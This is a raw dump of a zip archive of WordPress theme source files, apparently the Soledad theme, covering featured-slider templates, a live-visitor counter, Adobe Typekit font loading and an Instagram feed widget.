                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\ʤ       featured_slider/style-44.phpnu [        <?php
/**
 * Template part for Slider Style 44
 */
$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-full-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();

$data_auto    = get_theme_mod( 'penci_featured_autoplay' ) ? 'true' : 'false';
$data_loop    = get_theme_mod( 'penci_featured_loop' ) ? 'false' : 'true';
$auto_time    = is_numeric( $auto_time = get_theme_mod( 'penci_featured_slider_auto_time' ) ) ? $auto_time : '4000';
$auto_speed   = is_numeric( $auto_speed = get_theme_mod( 'penci_featured_slider_auto_speed' ) ) ? $auto_speed : '600';
?>
<div class="penci-slider44-wrapper">
    <div class="penci-slider44-thumb-wrapper">
        <div class="penci-slider44-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="5"
             data-direction="vertical" data-desktop="4" data-tablet="2" data-mobile="2" data-margin="15"
             data-id="<?php echo $thumb_id; ?>"
             data-auto="<?php echo $data_auto;?>" data-autotime="<?php echo $auto_time;?>" data-speed="<?php echo $auto_speed;?>"
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false">
            <div class="penci-slider44-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                        <div class="penci-slider44-t-item">

                            <div class="pcslider-44-img">
                                <div class="penci-image-holder"
                                     style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                                     href="<?php the_permalink(); ?>"
                                     title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></div>
                            </div>
                            <div class="pcslider-44-ct">
                                <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                            </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider44-main-wrapper">
        <div class="penci-slider44-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-direction="vertical"
             data-auto="<?php echo $data_auto;?>" data-autotime="<?php echo $auto_time;?>" data-speed="<?php echo $auto_speed;?>"
             data-id="<?php echo $main_id; ?>">
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider44-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                                        <?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
                                                    <div class="featured-slider-excerpt">
                                                        <p><?php $excerpt = get_the_excerpt();
															echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     /w\E*      live_visitor.phpnu [        <?php

class penci_live_visitor_update {

	public function __construct() {
		// Register REST route early.
		add_action( 'rest_api_init', [ $this, 'register_routes' ] );
	
		// Skip if the feature is disabled.
		if ( ! get_theme_mod( 'penci_live_viewer_enable' ) ) {
			return;
		}
	
		// Delay other actions until WP query is ready.
		add_action( 'wp', [ $this, 'init_later' ] );
	}
	
	public function init_later() {
		if ( ! is_singular() ) {
			return;
		}
	
		$post_type = get_post_type();
		if ( get_theme_mod( 'penci_live_viewer_disable_' . $post_type ) ) {
			return;
		}
	
		add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_scripts' ] );
		add_action( 'wp_footer', [ $this, 'view_content' ] );
		add_action( 'soledad_theme/custom_css', [ $this, 'popup_style' ] );
	}

	public function view_content() {
		$pos = get_theme_mod( 'penci_live_viewer_position', 'bottom-left' );
		echo '<div id="visitor-count" class="penci-visitor-count ' . esc_attr( $pos ) . '"></div>';
	}

	// Register REST routes
	public function register_routes() {
		register_rest_route( 'livevisitor/v1', '/update/(?P<post_id>\d+)', [
			'methods'             => 'POST',
			'callback'            => [ $this, 'update_visitor' ],
			'permission_callback' => '__return_true',
		] );

		register_rest_route( 'livevisitor/v1', '/count/(?P<post_id>\d+)', [
			'methods'             => 'GET',
			'callback'            => [ $this, 'count_visitor' ],
			'permission_callback' => '__return_true',
		] );
	}

	// Update visitor count
	public function update_visitor( $request ) {
		$post_id = (int) $request['post_id'];

		// Get visitor's IP address
		$visitor_ip = $_SERVER['REMOTE_ADDR'];

		// Fetch the current list of visitor IPs (or initialize an empty array)
		$visitors = get_transient( 'livevisitor_ips_' . $post_id ) ?: [];

		// Add visitor IP if it's not already in the list
		if ( ! in_array( $visitor_ip, $visitors ) ) {
			$visitors[] = $visitor_ip;
		}

		// Save the updated list of visitor IPs back to transient with expiration of 30 seconds
		set_transient( 'livevisitor_ips_' . $post_id, $visitors, 30 );

		return [ 'status' => 'ok' ];
	}

	// Get current visitor count based on IP addresses
	public function count_visitor( $request ) {
		$post_id = (int) $request['post_id'];

		// Get the list of visitor IPs for this post
		$visitors = get_transient( 'livevisitor_ips_' . $post_id ) ?: [];

		// Return the number of unique visitors (IP count)
		return [ 'count' => count( $visitors ) ];
	}

	// Enqueue JS file
	public function enqueue_scripts() {
		if ( is_singular() ) {
			// Enqueue JS file
			wp_enqueue_script(
				'penci-live-visitor-counter',
				PENCI_SOLEDAD_URL . '/js/live-visitor.js',
				[],
				null,
				true
			);

			$post_id = get_the_ID();
        	$post_type_object = get_post_type_object( get_post_type( $post_id ) );
        	$object_label = $post_type_object ? strtolower( $post_type_object->labels->singular_name ) : 'post';


			// Localize the post ID to JavaScript
			wp_localize_script( 'penci-live-visitor-counter', 'penci_live_visitor', [
				'post_id'        => $post_id,
				'object_label'   => $object_label,
				'singular_text'  => get_theme_mod('penci_live_viewer_singular_text', '1 viewer reading this {object}'),
				'plural_text'    => get_theme_mod('penci_live_viewer_plural_text', '{view} viewers are reading this {object}')
			] );
		}
	}

	public function popup_style() {
		$color = get_theme_mod( 'penci_live_viewer_color' );
		$bgcolor = get_theme_mod( 'penci_live_viewer_bgcolor' );
		if ( $color ) {
			echo '.penci-visitor-count{
				color: ' . esc_attr( $color ) . ';
			}';
		}
		if ( $bgcolor ) {
			echo '.penci-visitor-count{
				background: ' . esc_attr( $bgcolor ) . ';
			}';
		}
	}
}

// Initialize the class
new penci_live_visitor_update();PK     /w\d    	  extra.phpnu [        <?php
add_action( 'admin_init', 'penci_get_abobe_kits' );
function penci_get_abobe_kits() {

    if ( current_user_can( 'manage_options' ) && isset( $_REQUEST['clear_pencitypekit_css'] ) && $_REQUEST['clear_pencitypekit_css'] ) {
        delete_option( 'penci-typekit-data' );
    }

    $api_key = get_theme_mod( 'penci_api_adobe_font' );

    // If data exists we don't need to query the API.
    if ( get_option( 'penci-typekit-data', false ) ) {
        return;
    }

    if ( ! $api_key ) {
        return;
    }

    $url       = 'https://typekit.com/api/v1/json/kits/';
    $curl_args = array();
    $response  = wp_remote_request( $url . '?token=' . esc_attr( $api_key ), $curl_args );

    if ( wp_remote_retrieve_response_code( $response ) != '200' ) {
        return;
    }

    $response_body = json_decode( wp_remote_retrieve_body( $response ) );
    $kits          = array();

    if ( is_array( $response_body->kits ) ) {
        // loop through the kits object.
        foreach ( $response_body->kits as $kit ) {
            // perform an API request for the individual kit.
            $data = penci_get_kit_from_api( $kit->id, $api_key );

            if ( $data ) {
                // Enable kits by default.
                $kits[ $kit->id ]['enabled'] = true;
                // loop through the kit and standardize the data.
                foreach ( $data->families as $family ) {
                    $kits[ $kit->id ]['families'][] = array(
                        'label'    => $family->name,
                        'id'       => $family->slug,
                        'variants' => array_map( 'penci_standardize_variant_names', $family->variations ),
                        'stack'    => $family->css_stack,
                    );
                }
            }
        }
    }
    // Save the results so we don't need to query the API again.
    update_option( 'penci-typekit-data', $kits );
}

function penci_get_kit_font_family() {
    $typekit_data = get_option( 'penci-typekit-data' );
    $family = [];
    if ( ! empty ( $typekit_data ) ) {
        foreach ( $typekit_data as $id => $values ) {
            
            foreach ( $values['families'] as $font_id => $font_data ) {
                $label = $font_data['label'];
                $id = $font_data['id'];
                $family[ $id ] = $label;
            }
        }
    }
    return $family;
}
function penci_get_kit_font_id() {
    $typekit_data = get_option( 'penci-typekit-data' );
    $family = [];
    if ( ! empty ( $typekit_data ) ) {
        foreach ( $typekit_data as $id => $values ) {
            
            foreach ( $values['families'] as $font_id => $font_data ) {
                $label = $font_data['id'];
                $family[ $label ] = $label;
            }
        }
    }
    return $family;
}
add_filter( 'penci_font_list', function( $font_list ) {
    if ( !empty ( penci_get_kit_font_family() ) ) {
        $font_list = array_merge( penci_get_kit_font_family(), $font_list ); 
    }
    return $font_list;
} );

add_filter( 'penci_exlude_fonts_css', function( $font_list ) {
    if ( !empty ( penci_get_kit_font_id() ) ) {
        $font_list = array_merge( penci_get_kit_font_id(), $font_list ); 
    }
    return $font_list;
} );

function penci_get_kit_from_api( $kit_id, $api ) {
    $url       = 'https://typekit.com/api/v1/json/kits/' . esc_attr( $kit_id ) . '?token=' . esc_attr( $api );
    $curl_args = array();
    $response  = wp_remote_request( $url, $curl_args );

    if ( wp_remote_retrieve_response_code( $response ) === 200 ) {
        $response_body = json_decode( wp_remote_retrieve_body( $response ) );
        return $response_body->kit;
    }

    return false;
}

function penci_standardize_variant_names( $variant ) {
    $variants_key = array(
        'n1' => '100',
        'n2' => '200',
        'n3' => '300',
        'n4' => '400',
        'n5' => '500',
        'n6' => '600',
        'n7' => '700',
        'n8' => '800',
        'n9' => '900',
        'i1' => '100i',
        'i2' => '200i',
        'i3' => '300i',
        'i4' => '400i',
        'i5' => '500i',
        'i6' => '600i',
        'i7' => '700i',
        'i8' => '800i',
        'i9' => '900i',
    );

    if ( array_key_exists( $variant, $variants_key ) ) {
        return $variants_key[ $variant ];
    } else {
        return $variant;
    }
}

add_action( 'wp_enqueue_scripts', 'penci_typekit_enqueue_css' );
function penci_typekit_enqueue_css() {
    $typekit_data = get_option( 'penci-typekit-data', array() );

    if ( is_array( $typekit_data ) ) {
        foreach ( $typekit_data as $id => $values ) {

            // skip if the kit is disabled.
            if ( $values['enabled'] === false ) {
                continue;
            }

            $clean_id = sanitize_text_field( $id );

            wp_enqueue_style( 'typekit-' . $clean_id, 'https://use.typekit.com/' . $clean_id . '.css', array(), PENCI_SOLEDAD_VERSION );
        }
    }
}

if ( ! function_exists( 'penci_clear_typekit_toolbar_link' ) ) {
	function penci_clear_typekit_toolbar_link( $wp_admin_bar ) {

		if ( current_user_can( 'manage_options' ) &&  get_option( 'penci-typekit-data' ) ) {
			$btn_title = 'Clear Tyepkit Fonts Cache';
			$args = array(
				'id'    => 'pencitypekit-clearcache',
				'title' => $btn_title,
				'href'  => '?clear_pencitypekit_css=true',
				'meta'  => array(
					'class' => 'pencitypekit-clear-button',
					'title' => $btn_title,
				)
			);
			$wp_admin_bar->add_node( $args );
		}
	}

	add_action( 'admin_bar_menu', 'penci_clear_typekit_toolbar_link', 999 );
}PK     /w\sp:3@  @    instagram/widget.phpnu [        <?php
add_action( 'widgets_init', 'penci_instagram_feed_widget' );

if ( ! function_exists( 'penci_instagram_feed_widget' ) ) {
	function penci_instagram_feed_widget() {
		register_widget( 'Penci_Instagram_Feed_Widget' );
	}
}

if ( ! class_exists( 'Penci_Instagram_Feed_Widget' ) ) {
	class Penci_Instagram_Feed_Widget extends WP_Widget {

		protected $default;

		function __construct() {
			$this->default = array(
				'title'            => __( 'Instagram', 'soledad' ),
				'template'         => 'thumbs-no-border',
				'images_link'      => 'image_url',
				'custom_url'       => '',
				'orderby'          => 'rand',
				'images_number'    => 9,
				'columns'          => 3,
				'refresh_hour'     => 12,
				'image_size'       => 'jr_insta_square',
				'image_link_rel'   => '',
				'image_link_class' => '',
				'controls'         => 'prev_next',
				'caption_words'    => 20,
				'slidespeed'       => 7000,
				'description'      => array( 'username', 'time', 'caption' ),
			);

			$widget_ops  = array(
				'classname'   => 'penci-insta-slider',
				'description' => esc_html__( 'A widget that displays thumbnails or a slider with instagram images', 'soledad' )
			);
			$control_ops = array( 'id_base' => 'penci-insta-slider' );

			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci-insta-slider', penci_get_theme_name( '.Soledad', true ) . ' ' . esc_html__( 'Instagram Feed', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci-insta-slider', penci_get_theme_name( '.Soledad', true ) . ' ' . esc_html__( 'Instagram Feed', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		function widget( $args, $instance ) {
			$instance = wp_parse_args( $instance, $this->default );
			extract( $args );

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			$title = apply_filters( 'widget_title', $instance['title'] );
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			Penci_Instagram_Feed::display_images( $instance );

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$instance['title']            = isset( $new_instance['title'] ) && $new_instance['title'] ? $new_instance['title'] : '';
			$instance['template']         = isset( $new_instance['template'] ) && $new_instance['template'] ? $new_instance['template'] : '';
			$instance['images_link']      = isset( $new_instance['images_link'] ) && $new_instance['images_link'] ? $new_instance['images_link'] : '';
			$instance['custom_url']       = isset( $new_instance['custom_url'] ) && $new_instance['custom_url'] ? $new_instance['custom_url'] : '';
			$instance['orderby']          = isset( $new_instance['orderby'] ) && $new_instance['orderby'] ? $new_instance['orderby'] : '';
			$instance['images_number']    = isset( $new_instance['images_number'] ) && $new_instance['images_number'] ? $new_instance['images_number'] : '';
			$instance['columns']          = isset( $new_instance['columns'] ) && $new_instance['columns'] ? $new_instance['columns'] : '';
			$instance['refresh_hour']     = isset( $new_instance['refresh_hour'] ) && $new_instance['refresh_hour'] ? $new_instance['refresh_hour'] : '';
			$instance['image_size']       = isset( $new_instance['image_size'] ) && $new_instance['image_size'] ? $new_instance['image_size'] : '';
			$instance['image_link_rel']   = isset( $new_instance['image_link_rel'] ) && $new_instance['image_link_rel'] ? $new_instance['image_link_rel'] : '';
			$instance['image_link_class'] = isset( $new_instance['image_link_class'] ) && $new_instance['image_link_class'] ? $new_instance['image_link_class'] : '';
			$instance['controls']         = isset( $new_instance['controls'] ) && $new_instance['controls'] ? $new_instance['controls'] : '';
			$instance['caption_words']    = isset( $new_instance['caption_words'] ) && $new_instance['caption_words'] ? $new_instance['caption_words'] : '';
			$instance['slidespeed']       = isset( $new_instance['slidespeed'] ) && $new_instance['slidespeed'] ? $new_instance['slidespeed'] : '';
			$instance['description']      = isset( $new_instance['description'] ) && $new_instance['description'] ? $new_instance['description'] : '';

			return $instance;
		}

		function form( $instance ) {
			$instance = wp_parse_args( $instance, $this->default );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <div class="penci-instagram-container">
                <p><span style="color: #ff0000;">Note Important: </span>Please connect to your Instagram accout on <a
                            href="<?php echo esc_url( admin_url( 'admin.php?page=penci_instgram_token' ) ); ?>"
                            target="_blank">this page</a> first.
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'title' ); ?>"><strong><?php _e( 'Title:', 'soledad' ); ?></strong></label>
                    <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>"
                           name="<?php echo $this->get_field_name( 'title' ); ?>"
                           value="<?php echo $instance_title; ?>"/>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'images_number' ); ?>"><strong><?php _e( 'Number of images to show:', 'soledad' ); ?></strong>
                        <input class="small-text" id="<?php echo $this->get_field_id( 'images_number' ); ?>"
                               name="<?php echo $this->get_field_name( 'images_number' ); ?>"
                               value="<?php echo $instance['images_number']; ?>"/>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'refresh_hour' ); ?>"><strong><?php _e( 'Check for new images every:', 'soledad' ); ?></strong>
                        <input class="small-text" id="<?php echo $this->get_field_id( 'refresh_hour' ); ?>"
                               name="<?php echo $this->get_field_name( 'refresh_hour' ); ?>"
                               value="<?php echo $instance['refresh_hour']; ?>"/>
                        <span><?php _e( 'hours', 'soledad' ); ?></span>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'template' ); ?>"><strong><?php _e( 'Template', 'soledad' ); ?></strong>
                        <select class="widefat" name="<?php echo $this->get_field_name( 'template' ); ?>"
                                id="<?php echo $this->get_field_id( 'template' ); ?>">
                            <option value="thumbs-no-border" <?php echo ( $instance['template'] == 'thumbs-no-border' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Thumbnails - Without Border', 'soledad' ); ?></option>
                            <option value="thumbs" <?php echo ( $instance['template'] == 'thumbs' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Thumbnails', 'soledad' ); ?></option>
                            <option value="slider" <?php echo ( $instance['template'] == 'slider' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Slider - Normal', 'soledad' ); ?></option>
                            <option value="slider-overlay" <?php echo ( $instance['template'] == 'slider-overlay' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Slider - Overlay Text', 'soledad' ); ?></option>
                        </select>
                    </label>
                </p>
                <p class="<?php if ( 'thumbs' != $instance['template'] && 'thumbs-no-border' != $instance['template'] ) {
					echo 'hidden';
				} ?>">
                    <label for="<?php echo $this->get_field_id( 'columns' ); ?>"><strong><?php _e( 'Number of Columns:', 'soledad' ); ?></strong>
                        <input class="small-text" id="<?php echo $this->get_field_id( 'columns' ); ?>"
                               name="<?php echo $this->get_field_name( 'columns' ); ?>"
                               value="<?php echo $instance['columns']; ?>"/>
                        <span class='penci-description'><?php _e( 'max is 10 ( only for thumbnails template )', 'soledad' ); ?></span>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'orderby' ); ?>"><strong><?php _e( 'Order by', 'soledad' ); ?></strong>
                        <select class="widefat" name="<?php echo $this->get_field_name( 'orderby' ); ?>"
                                id="<?php echo $this->get_field_id( 'orderby' ); ?>">
                            <option value="date-ASC" <?php selected( $instance['orderby'], 'date-ASC', true ); ?>><?php _e( 'Date - Ascending', 'soledad' ); ?></option>
                            <option value="date-DESC" <?php selected( $instance['orderby'], 'date-DESC', true ); ?>><?php _e( 'Date - Descending', 'soledad' ); ?></option>
                            <option value="popular-ASC" <?php selected( $instance['orderby'], 'popular-ASC', true ); ?>><?php _e( 'Popularity - Ascending', 'soledad' ); ?></option>
                            <option value="popular-DESC" <?php selected( $instance['orderby'], 'popular-DESC', true ); ?>><?php _e( 'Popularity - Descending', 'soledad' ); ?></option>
                            <option value="rand" <?php selected( $instance['orderby'], 'rand', true ); ?>><?php _e( 'Random', 'soledad' ); ?></option>
                        </select>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'images_link' ); ?>"><strong><?php _e( 'Link to', 'soledad' ); ?></strong>
                        <select class="widefat" name="<?php echo $this->get_field_name( 'images_link' ); ?>"
                                id="<?php echo $this->get_field_id( 'images_link' ); ?>">
                            <option value="image_url" <?php selected( $instance['images_link'], 'image_url', true ); ?>><?php _e( 'Instagram Image', 'soledad' ); ?></option>
                            <option value="user_url" <?php selected( $instance['images_link'], 'user_url', true ); ?>><?php _e( 'Instagram Profile', 'soledad' ); ?></option>
                            <option value="attachment" <?php selected( $instance['images_link'], 'attachment', true ); ?>><?php _e( 'Attachment Page', 'soledad' ); ?></option>
                            <option value="none" <?php selected( $instance['images_link'], 'none', true ); ?>><?php _e( 'None', 'soledad' ); ?></option>
                        </select>
                    </label>
                </p>
                <p class="<?php if ( 'custom_url' != $instance['images_link'] ) {
					echo 'hidden';
				} ?>">
                    <label for="<?php echo $this->get_field_id( 'custom_url' ); ?>"><?php _e( 'Custom link:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo $this->get_field_id( 'custom_url' ); ?>"
                           name="<?php echo $this->get_field_name( 'custom_url' ); ?>"
                           value="<?php echo $instance['custom_url']; ?>"/>
                    <span><?php _e( '* use this field only if the above option is set to <strong>Custom Link</strong>', 'soledad' ); ?></span>
                </p>
                <div class="penci-advanced-input">
                    <div class="penci-slider-options <?php if ( 'thumbs' == $instance['template'] || 'thumbs-no-border' == $instance['template'] ) {
						echo 'hidden';
					} ?>">
                        <h4 class="penci-advanced-title"><?php _e( 'Advanced Slider Options', 'soledad' ); ?></h4>
                        <p>
							<?php _e( 'Slider Navigation Controls:', 'soledad' ); ?><br>
                            <label class="penci-radio"><input type="radio"
                                                              id="<?php echo $this->get_field_id( 'controls' ); ?>"
                                                              name="<?php echo $this->get_field_name( 'controls' ); ?>"
                                                              value="prev_next" <?php checked( 'prev_next', $instance['controls'] ); ?> /> <?php _e( 'Prev & Next', 'soledad' ); ?>
                            </label>
                            <label class="penci-radio"><input type="radio"
                                                              id="<?php echo $this->get_field_id( 'controls' ); ?>"
                                                              name="<?php echo $this->get_field_name( 'controls' ); ?>"
                                                              value="numberless" <?php checked( 'numberless', $instance['controls'] ); ?> /> <?php _e( 'Dotted', 'soledad' ); ?>
                            </label>
                            <label class="penci-radio"><input type="radio"
                                                              id="<?php echo $this->get_field_id( 'controls' ); ?>"
                                                              name="<?php echo $this->get_field_name( 'controls' ); ?>"
                                                              value="none" <?php checked( 'none', $instance['controls'] ); ?> /> <?php _e( 'No Navigation', 'soledad' ); ?>
                            </label>
                        </p>
                        <p>
                            <label for="<?php echo $this->get_field_id( 'caption_words' ); ?>"><?php _e( 'Number of words in caption:', 'soledad' ); ?>
                                <input class="small-text" id="<?php echo $this->get_field_id( 'caption_words' ); ?>"
                                       name="<?php echo $this->get_field_name( 'caption_words' ); ?>"
                                       value="<?php echo $instance['caption_words']; ?>"/>
                            </label>
                        </p>
                        <p>
                            <label for="<?php echo $this->get_field_id( 'slidespeed' ); ?>"><?php _e( 'Slide Speed:', 'soledad' ); ?>
                                <input class="small-text" id="<?php echo $this->get_field_id( 'slidespeed' ); ?>"
                                       name="<?php echo $this->get_field_name( 'slidespeed' ); ?>"
                                       value="<?php echo $instance['slidespeed']; ?>"/>
                                <span><?php _e( 'milliseconds', 'soledad' ); ?></span>
                                <span class='penci-description'><?php _e( '1000 milliseconds = 1 second', 'soledad' ); ?></span>
                            </label>
                        </p>
                        <p>
                            <label for="<?php echo $this->get_field_id( 'description' ); ?>"><?php _e( 'Slider Text Description:', 'soledad' ); ?></label>
                            <select size=3 class='widefat' id="<?php echo $this->get_field_id( 'description' ); ?>"
                                    name="<?php echo $this->get_field_name( 'description' ); ?>[]" multiple="multiple">
                                <option value='username' <?php $this->selected( $instance['description'], 'username' ); ?>><?php _e( 'Username', 'soledad' ); ?></option>
                                <option value='time'<?php $this->selected( $instance['description'], 'time' ); ?>><?php _e( 'Time', 'soledad' ); ?></option>
                                <option value='caption'<?php $this->selected( $instance['description'], 'caption' ); ?>><?php _e( 'Caption', 'soledad' ); ?></option>
                            </select>
                            <span class="jr-description"><?php _e( 'Hold ctrl and click the fields you want to show/hide on your slider. Leave all unselected to hide them all. Default all selected.', 'soledad' ) ?></span>
                        </p>
                    </div>
                </div>
            </div>
			<?php
		}

		public function selected( $haystack, $current ) {

			if ( is_array( $haystack ) && in_array( $current, $haystack ) ) {
				selected( 1, 1, true );
			}
		}
	}
}
?>
PK     /w\D0YN  N    instagram/instagram.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
include( trailingslashit( PENCI_SOLEDAD_DIR ) . 'inc/instagram/widget.php' );
include( trailingslashit( PENCI_SOLEDAD_DIR ) . 'inc/instagram/dashpage.php' );

if ( ! class_exists( 'Penci_Instagram_Feed' ) ):
	class Penci_Instagram_Feed {
		public static function display_images( $args = null ) {

			$insta_token = get_option( 'penci_options[penci_instagram]' );

			$defaults = array(
				'access_token'     => isset( $insta_token['access_token'] ) && $insta_token['access_token'] ? $insta_token['access_token'] : '',
				'insta_user_id'    => isset( $insta_token['id'] ) && $insta_token['id'] ? $insta_token['id'] : '',
				'search_for'       => 'username',
				'username'         => isset( $insta_token['username'] ) && $insta_token['username'] ? $insta_token['username'] : '',
				'hashtag'          => '',
				'blocked_users'    => '',
				'template'         => 'thumbs-no-border',
				'images_link'      => 'image_url',
				'custom_url'       => '',
				'orderby'          => 'rand',
				'images_number'    => 5,
				'columns'          => 4,
				'refresh_hour'     => 5,
				'image_size'       => 'jr_insta_square',
				'image_link_rel'   => '',
				'image_link_class' => '',
				'no_pin'           => 0,
				'controls'         => 'prev_next',
				'caption_words'    => 20,
				'slidespeed'       => 7000,
				'description'      => array( 'username', 'time', 'caption' ),
			);

			$args = wp_parse_args( (array) $args, $defaults );

			if ( 'username' == $args['search_for'] && ! $args['access_token'] ) {
				if ( current_user_can( 'manage_options' ) ) {
					echo '<p style="text-align: center;">This message appears for Admin Users only:<br>Please fill the Instagram Access Token. You can get Instagram Access Token by go to <a
                            href="' . esc_url( admin_url( 'admin.php?page=penci_instgram_token' ) ) . '"
                            target="_blank">this page</a></p>';
				}

				return;
			} elseif ( 'hashtag' == $args['search_for'] && ! $args['hashtag'] ) {
				if ( current_user_can( 'manage_options' ) ) {
					echo '<p style="text-align: center;">This message appears for Admin Users only:<br>Please enter hashtag.</p>';
				}
			}

